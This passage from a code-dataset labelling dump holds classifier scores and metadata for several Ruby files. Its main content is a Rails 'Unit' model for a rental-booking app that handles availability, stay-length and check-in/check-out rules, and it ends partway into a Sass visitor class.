"ad2e6153-1c61-4c21-84eb-928d902dd98b", "repo_name": "wudimenghuan/gitlab-ce", "relative_path": "spec/finders/group_projects_finder_spec.rb", "category": "TEST", "algo_rel_score": 0.9721740484237671, "quality_score": 7.4491353034973145, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 70463, "repo_created_at": "2015-09-26T10:18:25.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 6, "forks": 1, "issues": 0, "pull_requests": 3}, "file_meta": {"content_id": "43c1118a060c80db17b32fe8413a07b8057d0ebf", "size_bytes": 5382, "file_timestamp": 1520515313, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "cb1538bba7afac965f6ba2b09e8b94afdcdd7fbc"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 70463, "repo_created_at": "2015-09-26T10:18:25.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 6, "forks": 1, "issues": 0, "pull_requests": 3}, "file_meta": {"content_id": "43c1118a060c80db17b32fe8413a07b8057d0ebf", "size_bytes": 5382, "file_timestamp": 1520515313, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "cb1538bba7afac965f6ba2b09e8b94afdcdd7fbc", "url": "https://github.com/wudimenghuan/gitlab-ce/blob/cb1538bba7afac965f6ba2b09e8b94afdcdd7fbc/spec/finders/group_projects_finder_spec.rb"}, "gpt4o_tokens": 1305, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.3602547076651221, "noise_severity": 0.015842225891194227, "missing_content_severity": 0.003321134847511365, "factual_density": 3.2670776068955667, "pretraining_utility": 0.3259354101647022, "math_density": 0.009863184192569808, "code_density": 3.9107764086567705, "reasoning_density": 1.0408496024449032, "education_level": 2.837036106678589, "creative_writing_quality": -0.18493469964899578}, "score_applicability": {"education_level": 0.9989612289024968, "creative_writing_quality": 0.0006031214612556194}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/starjdave/react-rails-white/blob/031642f3a926a5f8253143495b67d9c00dadf4ed/app/models/unit.rb", "id": "ruby-0-189509167d58581a6e54eca477498c4f", "text": "# ================================================\n# RUBY->MODEL->UNIT ==============================\n# ================================================\nclass Unit < ApplicationRecord\n # ----------------------------------------------\n # RELATIONS ------------------------------------\n # ----------------------------------------------\n belongs_to :brand\n belongs_to :organization\n belongs_to :portfolio\n belongs_to :property\n belongs_to :room_type\n\n has_many :bathrooms, -> { order(:created_at) }, dependent: :destroy\n has_many :bedrooms, -> { order(:created_at) }, dependent: :destroy\n has_many :reviews, dependent: :destroy\n has_many :unit_images, -> { order(:order) }, dependent: :destroy\n has_many :unit_listings, dependent: :destroy\n has_many :bookings, through: :unit_listings\n\n has_one :unit_availability, dependent: :destroy\n has_one :unit_pricing, dependent: :destroy\n\n # ----------------------------------------------\n # ENUMS/CONSTANTS ------------------------------\n # ----------------------------------------------\n enum unit_type: %i[apartment apartment_building barn boat bnb bnb_unit building bungalow cabin caravan castle chacara chalet chateau condo condo_building condo_hotel condo_hotel_unit cottage estate farmhouse guesthouse hotel hotel_unit house house_boat lodge mas mill mobile_home recreational_vehicle riad room studio townhome villa yacht]\n enum measurement_type: { sq_feet: 0, sq_meters: 1 }\n\n # ----------------------------------------------\n # SERIALIZE ------------------------------------\n # ----------------------------------------------\n serialize :features_accommodations, JSON\n serialize :features_amenities, JSON\n serialize :features_dining, JSON\n serialize :features_entertainment, JSON\n serialize :features_outdoor, JSON\n serialize :features_spa, JSON\n serialize :features_suitability, JSON\n serialize :features_themes, JSON\n serialize :features_safety, JSON\n\n # ----------------------------------------------\n # FEATURED-IMAGE -------------------------------\n # ----------------------------------------------\n def featured_image\n unit_images.first.unit_image_urls if unit_images.first.present?\n end\n\n def vacant_for_stay?(booking_range, booking_code_to_exclude = nil)\n (booked_dates(booking_code_to_exclude) & booking_range).empty?\n end\n\n def available_for_stay?(booking_range)\n # Each date in the booking_range must be available or inquiry\n availabilities = booking_range.each.map { |date| availability_for_date(date) }.uniq\n availabilities.include?('unavailable') == false\n end\n\n def availability_for_date(date)\n (custom_availability(date) || default_availability(date))['availability']\n end\n\n def custom_availability(date)\n custom_date_object = unit_availability.availability_calendar[date['key']]\n return custom_date_object if custom_date_object.blank? || custom_date_object['availability'] == 'unavailable'\n\n if date['key'].to_date < Date.today + custom_date_object['priorNotifyMin'].to_i\n custom_date_object['availability'] = 'inquiry'\n end\n\n custom_date_object\n end\n\n def default_availability(date)\n unit_availability.default_availability_changeover[date['day']]\n end\n\n def booked_dates(booking_code_to_exclude = nil)\n bookings.still_active\n .where.not(booking_code: booking_code_to_exclude)\n .map { |b| b.booking_range[1...-1] }.flatten\n end\n\n def can_fit_guests(guests)\n guests.to_i <= num_sleep\n end\n\n def minimum_stay_met?(booking_range)\n length_of_stay = booking_range.length - 1\n check_in = booking_range[0]['key']\n if (specific_rules = unit_availability.availability_calendar[check_in])\n length_of_stay >= specific_rules['stayMin'].to_i\n else\n length_of_stay >= unit_availability.default_stay_min.to_i\n end\n end\n\n def maximum_stay_met?(booking_range)\n length_of_stay = booking_range.length - 1\n check_in = booking_range[0]['key']\n if (specific_rules = unit_availability.availability_calendar[check_in])\n length_of_stay <= specific_rules['stayMax'].to_i\n else\n length_of_stay <= unit_availability.default_stay_max.to_i\n end\n end\n\n def can_check_in_on?(check_in)\n changeover = (unit_availability.availability_calendar[check_in['key']] || unit_availability.default_availability_changeover[check_in['day']])['changeover']\n case\n when changeover == 'check_out'\n false\n when changeover != 'none'\n true\n else\n false\n end\n end\n\n def can_check_out_on?(check_out)\n changeover = (unit_availability.availability_calendar[check_out['key']] || unit_availability.default_availability_changeover[check_out['day']])['changeover']\n case\n when changeover == 'check_in'\n false\n when changeover != 'none'\n true\n else\n false\n end\n end\n\n def availability_calendar_rules(booking_range)\n stay_range = booking_range.dup # create a copy of booking_range\n stay_range.pop # and pop the last item\n\n availability_terms = stay_range.map { |date| availability_for_date(date) }\n if availability_terms.include?('unavailable')\n 'unavailable'\n elsif availability_terms.include?('inquiry')\n 'inquiry'\n else\n 'available'\n end\n end\n\n def changeover_calendar_rules(booking_range)\n check_in = booking_range.first.with_indifferent_access\n check_out = booking_range.last.with_indifferent_access\n calendar = unit_availability.availability_calendar || {}\n defaults = unit_availability.default_availability_changeover\n\n [\n calendar[check_in['key']] ? calendar[check_in['key']]['changeover'] : defaults[check_in['day']]['changeover'],\n calendar[check_out['key']] ? calendar[check_out['key']]['changeover'] : defaults[check_out['day']]['changeover']\n ]\n end\n\nend\n", "text_preview": "# ================================================ # RUBY->MODEL->UNIT ============================== # ================================================ class Unit < ApplicationRecord # ---------------------------------------------- # RELAT", "input_sha256": "62239e341f925fdfb27c7b16309a6f056f74483d8d43e78d93535c2a66d9ffcd", "text_sha256": "189509167d58581a6e54eca477498c4fbfef6f229fc99e7bc95598b603681886", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16079, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.0832535283416844, "noise_severity": 0.12210719795252882, "missing_content_severity": 0.020152642714149044, "factual_density": 3.6214949851240728, "pretraining_utility": 0.509109692770538, "math_density": 0.3577794906458422, "code_density": 3.8179312815830166, "reasoning_density": 0.6679460180444535, "education_level": 2.245318280820568, "creative_writing_quality": -0.2732139614693202}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.01402778971926788, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.997707984753033, "secondary": 0.9678009770838031, "tertiary": 0.9824386707039083, "structured_records": 0.2258286748675393, "procedural_steps": 0.0011926253911056233, "worked_solution": 0.0006199630388100889, "contextual_dialogue": 4.658648077810988e-06, "content_quality": 0.573716919438102, "noise_severity": 0.898244001706226, "missing_content_severity": 0.9832061310715424, "factual_density": 0.6845791542700602, "pretraining_utility": 0.44208368800412334, "math_density": 0.7018504244617982, "code_density": 0.8482760679858471, "reasoning_density": 0.4433783182962887, "education_level": 0.6683690808893444, "creative_writing_quality": 0.9995393987016095, "primary_topic": 0.966686100588003, "secondary_topic": 0.6837121383603403}, "probability_margin": {"primary": 0.9967328510851641, "secondary": 0.9501210228317513, "tertiary": 0.9736913112703752, "education_level": 0.485990568082721, "creative_writing_quality": 0.9994382617457404, "primary_topic": 0.9448498856729923, "secondary_topic": 0.48742409565322}, "raw_probabilities": {"primary": {"Academic Writing": 1.5081971249821986e-05, "Content Listing": 1.2216693990754362e-05, "Creative Writing": 8.448004477168468e-06, "Customer Support Page": 4.440936515839752e-06, "Q&A Forum": 5.657292907081967e-06, "Discussion Thread": 3.526142036637963e-06, "Comment Section": 5.837743096254162e-06, "Missing Content": 1.1242129100325213e-05, "Knowledge Article": 3.5155317250587466e-05, "Legal Notices": 1.3091839669045776e-05, "News Article": 1.9354325141570045e-06, "Organizational Announcement": 5.698363979618192e-06, "Nonfiction Writing": 4.4239372491444725e-06, "Organizational About Page": 6.605775037562662e-06, "Personal About Page": 6.6973727943960716e-06, "Personal Blog": 4.404003242859708e-06, "Product Page": 1.5756015458570238e-05, "Spam / Ads": 5.125899411799454e-06, "Structured Data": 0.0010706343031592147, "Technical Writing": 0.9978034853883233, "Transcript / Interview": 7.17586421727776e-06, "Tutorial / How-To Guide": 5.092321362905025e-05, "User Reviews": 3.989274343338468e-06, "Other / Unknown": 0.0008984470863463611}, "secondary": {"Academic Writing": 0.00015111460238791713, "Content Listing": 0.00020856052079699144, "Creative Writing": 0.0001353022908396685, "Customer Support Page": 6.828146066749474e-05, "Q&A Forum": 6.0351604510521114e-05, "Discussion Thread": 4.630562687869733e-05, "Comment Section": 0.00012647585324026297, "Missing Content": 0.000384919842027288, "Knowledge Article": 0.000564678340132743, "Legal Notices": 0.00013778627570298327, "News Article": 7.357215630874247e-05, "Organizational Announcement": 6.620887930581542e-05, "Nonfiction Writing": 5.925667415153892e-05, "Organizational About Page": 9.641303574718058e-05, "Personal About Page": 7.382169538384944e-05, "Personal Blog": 6.383966379797862e-05, "Product Page": 0.00011019622430070742, "Spam / Ads": 7.666266543114707e-05, "Structured Data": 0.019021580206893342, "Technical Writing": 0.008875778907629833, "Transcript / Interview": 9.554357878276796e-05, "Tutorial / How-To Guide": 0.00032361100790137797, "User Reviews": 3.7135848536663944e-05, "NONE": 0.9691426030386446}, "tertiary": {"Academic Writing": 7.312149381044983e-05, "Content Listing": 0.00014375316247112351, "Creative Writing": 7.944184661216475e-05, "Customer Support Page": 4.2822446995505074e-05, "Q&A Forum": 2.874583375072906e-05, "Discussion Thread": 2.388168645394757e-05, "Comment Section": 9.228343590452921e-05, "Missing Content": 0.0002310162804042861, "Knowledge Article": 0.00042407569630874476, "Legal Notices": 9.78327216371562e-05, "News Article": 3.758100331182868e-05, "Organizational Announcement": 3.446598082803896e-05, "Nonfiction Writing": 3.8923797613950554e-05, "Organizational About Page": 6.267088633857348e-05, "Personal About Page": 3.683142304992634e-05, "Personal Blog": 3.609075269876768e-05, "Product Page": 8.355986556855836e-05, "Spam / Ads": 4.3871054895807566e-05, "Structured Data": 0.009479081487536963, "Technical Writing": 0.005450515931818352, "Transcript / Interview": 4.7908512631391556e-05, "Tutorial / How-To Guide": 0.00021957158913665103, "User Reviews": 2.1560352310236845e-05, "NONE": 0.9831703927579122}, "structured_records": {"false": 0.7741713251324607, "true": 0.2258286748675393}, "procedural_steps": {"false": 0.9988073746088943, "true": 0.0011926253911056233}, "worked_solution": {"false": 0.9993800369611899, "true": 0.0006199630388100889}, "contextual_dialogue": {"false": 0.9999953413519221, "true": 4.658648077810988e-06}, "content_quality": {"-2": 0.004416575529325856, "-1": 0.016810818367821553, "0": 0.167271720842676, "1": 0.5141042727521955, "2": 0.297396612507981}, "noise_severity": {"0": 0.8904753743827154, "1": 0.10029500792394502, "2": 0.006780803810064286, "3": 0.0015446731246457177, "4": 0.0009041407586295168}, "missing_content_severity": {"0": 0.9877463474334427, "1": 0.006211958545791031, "2": 0.004523595049145248, "3": 0.0011789018164166597, "4": 0.0003391971552043844}, "factual_density": {"0": 0.0014213183762321697, "1": 0.003166258670780307, "2": 0.04299261055206787, "3": 0.2773357442545224, "4": 0.6750840681463973}, "pretraining_utility": {"-2": 0.008250711613864944, "-1": 0.0900516363184833, "0": 0.3753395333336956, "1": 0.4370534851511612, "2": 0.08930463358279496}, "math_density": {"0": 0.7600853753058486, "1": 0.1767179761540863, "2": 0.03187443236169081, "3": 0.007976214945122595, "4": 0.023346001233251618}, "code_density": {"0": 0.0003352582428145018, "1": 0.0007033945512484496, "2": 0.01945408373188631, "3": 0.13970933432820748, "4": 0.8397979291458432}, "reasoning_density": {"0": 0.6565672068049256, "1": 0.11175813228020073, "2": 0.1618411601587678, "3": 0.04682843757770617, "4": 0.02300506317839968}, "education_level": {"none": 0.0012389543203090837, "0": 0.0016002570971771224, "1": 0.020391528717779803, "2": 0.7236409007411203, "3": 0.23765033265839933, "4": 0.015478026465214545}, "creative_writing_quality": {"not_applicable": 0.9996161655846746, "-2": 5.162370285217584e-05, "-1": 8.690431981102866e-05, "0": 0.00017790383893423223, "1": 4.952230309951798e-05, "2": 1.788025062829523e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.9481477464891425e-05, "Art & Design": 0.0001715207576746222, "Law & Crime": 0.0001077798133564858, "Education & Careers": 8.637067065772514e-05, "Entertainment & Media": 8.936611095080002e-05, "Fashion & Beauty": 0.00010710886224026946, "Business, Economics & Finance": 0.002314773052035666, "Food & Dining": 0.00015811709228006693, "Games & Gaming": 0.00031246873155575607, "Electronics & Hardware": 0.00010102209270470082, "Health, Healthcare & Wellness": 8.83547035649161e-05, "History & Geography": 9.606337374527069e-05, "Home, Pets & Hobbies": 0.0014804589684381717, "Industry & Production": 0.000274540139002111, "Language, Literature & Philosophy": 9.638437174132243e-05, "Politics & Government": 4.944416487172815e-05, "Religion & Spirituality": 9.309520648011032e-05, "Science, Mathematics & Engineering": 0.00023191801057048113, "Relationships & Community": 4.7429246576514045e-05, "Software Usage & Applications": 0.0008264659741408403, "Programming & Software Engineering": 0.9679674044115413, "Sports & Fitness": 8.900832522068237e-05, "Vehicles & Transportation": 9.4555155666077e-05, "Travel & Tourism": 0.02311751873854894, "Other / Uncovered Subject": 0.0017839734755525887, "Unknown / Insufficient Content": 0.00016537707341799098}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0008773790658965874, "Art & Design": 0.0013608806196748141, "Law & Crime": 0.0011944024197609701, "Education & Careers": 0.0005889014894102615, "Entertainment & Media": 0.0010619942930291024, "Fashion & Beauty": 0.000640590036133428, "Business, Economics & Finance": 0.014641991249722241, "Food & Dining": 0.0010216236057744616, "Games & Gaming": 0.0012192865131664327, "Electronics & Hardware": 0.0006521358875606517, "Health, Healthcare & Wellness": 0.0006988881155003825, "History & Geography": 0.0005840548235115038, "Home, Pets & Hobbies": 0.0041777175531805474, "Industry & Production": 0.0009316464312481284, "Language, Literature & Philosophy": 0.00045513008143329467, "Politics & Government": 0.00041300044944389715, "Religion & Spirituality": 0.0008361748183056524, "Science, Mathematics & Engineering": 0.0014365637480568167, "Relationships & Community": 0.0003123009387543071, "Software Usage & Applications": 0.0022622067079555545, "Programming & Software Engineering": 0.05607568168844818, "Sports & Fitness": 0.0005265306135457566, "Vehicles & Transportation": 0.0004887338046161015, "Travel & Tourism": 0.20845296046249184, "Other / Uncovered Subject": 0.0032121684676673116, "NONE": 0.6958770561157118}}, "probabilities": {"primary": {"Academic Writing": 1.5081971249821983e-05, "Content Listing": 1.2216693990754359e-05, "Creative Writing": 8.448004477168466e-06, "Customer Support Page": 4.4409365158397516e-06, "Q&A Forum": 5.657292907081966e-06, "Discussion Thread": 3.526142036637962e-06, "Comment Section": 5.83774309625416e-06, "Missing Content": 1.1242129100325211e-05, "Knowledge Article": 3.515531725058746e-05, "Legal Notices": 1.3091839669045772e-05, "News Article": 1.935432514157004e-06, "Organizational Announcement": 5.698363979618191e-06, "Nonfiction Writing": 4.423937249144472e-06, "Organizational About Page": 6.605775037562661e-06, "Personal About Page": 6.69737279439607e-06, "Personal Blog": 4.404003242859707e-06, "Product Page": 1.5756015458570235e-05, "Spam / Ads": 5.125899411799453e-06, "Structured Data": 0.0010706343031592145, "Technical Writing": 0.9978034853883231, "Transcript / Interview": 7.1758642172777585e-06, "Tutorial / How-To Guide": 5.0923213629050234e-05, "User Reviews": 3.9892743433384674e-06, "Other / Unknown": 0.0008984470863463609}, "secondary": {"Academic Writing": 0.0001511146023879171, "Content Listing": 0.00020856052079699138, "Creative Writing": 0.00013530229083966847, "Customer Support Page": 6.828146066749473e-05, "Q&A Forum": 6.03516045105211e-05, "Discussion Thread": 4.630562687869732e-05, "Comment Section": 0.00012647585324026295, "Missing Content": 0.0003849198420272879, "Knowledge Article": 0.0005646783401327429, "Legal Notices": 0.00013778627570298324, "News Article": 7.357215630874246e-05, "Organizational Announcement": 6.62088793058154e-05, "Nonfiction Writing": 5.9256674151538904e-05, "Organizational About Page": 9.641303574718055e-05, "Personal About Page": 7.382169538384943e-05, "Personal Blog": 6.38396637979786e-05, "Product Page": 0.00011019622430070739, "Spam / Ads": 7.666266543114705e-05, "Structured Data": 0.01902158020689334, "Technical Writing": 0.008875778907629832, "Transcript / Interview": 9.554357878276793e-05, "Tutorial / How-To Guide": 0.0003236110079013779, "User Reviews": 3.713584853666394e-05, "NONE": 0.9691426030386444}, "tertiary": {"Academic Writing": 7.312149381044984e-05, "Content Listing": 0.00014375316247112354, "Creative Writing": 7.944184661216476e-05, "Customer Support Page": 4.282244699550508e-05, "Q&A Forum": 2.8745833750729064e-05, "Discussion Thread": 2.3881686453947573e-05, "Comment Section": 9.228343590452923e-05, "Missing Content": 0.00023101628040428612, "Knowledge Article": 0.0004240756963087448, "Legal Notices": 9.783272163715621e-05, "News Article": 3.758100331182869e-05, "Organizational Announcement": 3.446598082803897e-05, "Nonfiction Writing": 3.892379761395056e-05, "Organizational About Page": 6.26708863385735e-05, "Personal About Page": 3.683142304992635e-05, "Personal Blog": 3.609075269876769e-05, "Product Page": 8.355986556855837e-05, "Spam / Ads": 4.387105489580757e-05, "Structured Data": 0.009479081487536964, "Technical Writing": 0.005450515931818353, "Transcript / Interview": 4.790851263139156e-05, "Tutorial / How-To Guide": 0.00021957158913665106, "User Reviews": 2.156035231023685e-05, "NONE": 0.9831703927579123}, "structured_records": {"false": 0.7741713251324607, "true": 0.2258286748675393}, "procedural_steps": {"false": 0.9988073746088943, "true": 0.0011926253911056233}, "worked_solution": {"false": 0.9993800369611899, "true": 0.0006199630388100889}, "contextual_dialogue": {"false": 0.9999953413519221, "true": 4.658648077810988e-06}, "content_quality": {"-2": 0.004416575529325857, "-1": 0.016810818367821556, "0": 0.16727172084267602, "1": 0.5141042727521956, "2": 0.29739661250798105}, "noise_severity": {"0": 0.8904753743827154, "1": 0.10029500792394502, "2": 0.006780803810064286, "3": 0.0015446731246457177, "4": 0.0009041407586295168}, "missing_content_severity": {"0": 0.9877463474334427, "1": 0.006211958545791031, "2": 0.004523595049145248, "3": 0.0011789018164166597, "4": 0.0003391971552043844}, "factual_density": {"0": 0.0014213183762321697, "1": 0.003166258670780307, "2": 0.04299261055206787, "3": 0.2773357442545224, "4": 0.6750840681463973}, "pretraining_utility": {"-2": 0.008250711613864944, "-1": 0.0900516363184833, "0": 0.3753395333336956, "1": 0.4370534851511612, "2": 0.08930463358279496}, "math_density": {"0": 0.7600853753058486, "1": 0.1767179761540863, "2": 0.03187443236169081, "3": 0.007976214945122595, "4": 0.023346001233251618}, "code_density": {"0": 0.00033525824281450186, "1": 0.0007033945512484498, "2": 0.019454083731886312, "3": 0.1397093343282075, "4": 0.8397979291458433}, "reasoning_density": {"0": 0.6565672068049256, "1": 0.11175813228020073, "2": 0.1618411601587678, "3": 0.04682843757770617, "4": 0.02300506317839968}, "education_level": {"none": 0.0012389543203090835, "0": 0.001600257097177122, "1": 0.0203915287177798, "2": 0.7236409007411202, "3": 0.23765033265839927, "4": 0.015478026465214541}, "creative_writing_quality": {"not_applicable": 0.9996161655846747, "-2": 5.1623702852175844e-05, "-1": 8.690431981102867e-05, "0": 0.00017790383893423226, "1": 4.952230309951799e-05, "2": 1.7880250628295232e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.9481477464891425e-05, "Art & Design": 0.0001715207576746222, "Law & Crime": 0.0001077798133564858, "Education & Careers": 8.637067065772514e-05, "Entertainment & Media": 8.936611095080002e-05, "Fashion & Beauty": 0.00010710886224026946, "Business, Economics & Finance": 0.002314773052035666, "Food & Dining": 0.00015811709228006693, "Games & Gaming": 0.00031246873155575607, "Electronics & Hardware": 0.00010102209270470082, "Health, Healthcare & Wellness": 8.83547035649161e-05, "History & Geography": 9.606337374527069e-05, "Home, Pets & Hobbies": 0.0014804589684381717, "Industry & Production": 0.000274540139002111, "Language, Literature & Philosophy": 9.638437174132243e-05, "Politics & Government": 4.944416487172815e-05, "Religion & Spirituality": 9.309520648011032e-05, "Science, Mathematics & Engineering": 0.00023191801057048113, "Relationships & Community": 4.7429246576514045e-05, "Software Usage & Applications": 0.0008264659741408403, "Programming & Software Engineering": 0.9679674044115413, "Sports & Fitness": 8.900832522068237e-05, "Vehicles & Transportation": 9.4555155666077e-05, "Travel & Tourism": 0.02311751873854894, "Other / Uncovered Subject": 0.0017839734755525887, "Unknown / Insufficient Content": 0.00016537707341799098}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0008773790658965874, "Art & Design": 0.0013608806196748141, "Law & Crime": 0.0011944024197609701, "Education & Careers": 0.0005889014894102615, "Entertainment & Media": 0.0010619942930291024, "Fashion & Beauty": 0.000640590036133428, "Business, Economics & Finance": 0.014641991249722241, "Food & Dining": 0.0010216236057744616, "Games & Gaming": 0.0012192865131664327, "Electronics & Hardware": 0.0006521358875606517, "Health, Healthcare & Wellness": 0.0006988881155003825, "History & Geography": 0.0005840548235115038, "Home, Pets & Hobbies": 0.0041777175531805474, "Industry & Production": 0.0009316464312481284, "Language, Literature & Philosophy": 0.00045513008143329467, "Politics & Government": 0.00041300044944389715, "Religion & Spirituality": 0.0008361748183056524, "Science, Mathematics & Engineering": 0.0014365637480568167, "Relationships & Community": 0.0003123009387543071, "Software Usage & Applications": 0.0022622067079555545, "Programming & Software Engineering": 0.05607568168844818, "Sports & Fitness": 0.0005265306135457566, "Vehicles & Transportation": 0.0004887338046161015, "Travel & Tourism": 0.20845296046249184, "Other / Uncovered Subject": 0.0032121684676673116, "NONE": 0.6958770561157118}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9867, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9867, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:34:10.800996+00:00", "scoring_key_slot": "primary", "dataset_uid": "30250bde-ac5f-48e1-bf84-7656b1caa05c", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "089ebf03430d29296b7a049b3587a9c8203bb88b49755eea084a4c5d776d6520", "source_metadata": {"uuid": "30250bde-ac5f-48e1-bf84-7656b1caa05c", "repo_name": "starjdave/react-rails-white", "relative_path": "app/models/unit.rb", "category": "WEB", "algo_rel_score": 0.8930884003639221, "quality_score": 7.029415607452393, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 449, "repo_created_at": "2022-03-10T15:11:48.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "024e282efda6f67ad58ff47dab175e9f66842606", "size_bytes": 5782, "file_timestamp": 1712540616, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "031642f3a926a5f8253143495b67d9c00dadf4ed"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 449, "repo_created_at": "2022-03-10T15:11:48.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "024e282efda6f67ad58ff47dab175e9f66842606", "size_bytes": 5782, "file_timestamp": 1712540616, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "031642f3a926a5f8253143495b67d9c00dadf4ed", "url": "https://github.com/starjdave/react-rails-white/blob/031642f3a926a5f8253143495b67d9c00dadf4ed/app/models/unit.rb"}, "gpt4o_tokens": 1323, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.0832535283416844, "noise_severity": 0.12210719795252882, "missing_content_severity": 0.020152642714149044, "factual_density": 3.6214949851240728, "pretraining_utility": 0.509109692770538, "math_density": 0.3577794906458422, "code_density": 3.8179312815830166, "reasoning_density": 0.6679460180444535, "education_level": 2.245318280820568, "creative_writing_quality": -0.2732139614693202}, "score_applicability": {"education_level": 0.9987610456796909, "creative_writing_quality": 0.00038383441532525}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/madhur/PortableJekyll/blob/8b34f0d95b4fe7bcfb915e00bef183154f6ebfa3/ruby/lib/ruby/gems/2.0.0/gems/sass-3.2.12/lib/sass/tree/visitors/perform.rb", "id": "ruby-0-0b783a9a994e9a15d499247f28728bf4", "text": "# A visitor for converting a dynamic Sass tree into a static Sass tree.\nclass Sass::Tree::Visitors::Perform < Sass::Tree::Visitors::Base\n # @param root [Tree::Node] The root node of the tree to visit.\n # @param environment [Sass::Environment] The lexical environment.\n # @return [Tree::Node] The resulting tree of static nodes.\n def self.visit(root, environment = Sass::Environment.new)\n new(environment).send(:visit, root)\n end\n\n # @api private\n def self.perform_arguments(callable, args, 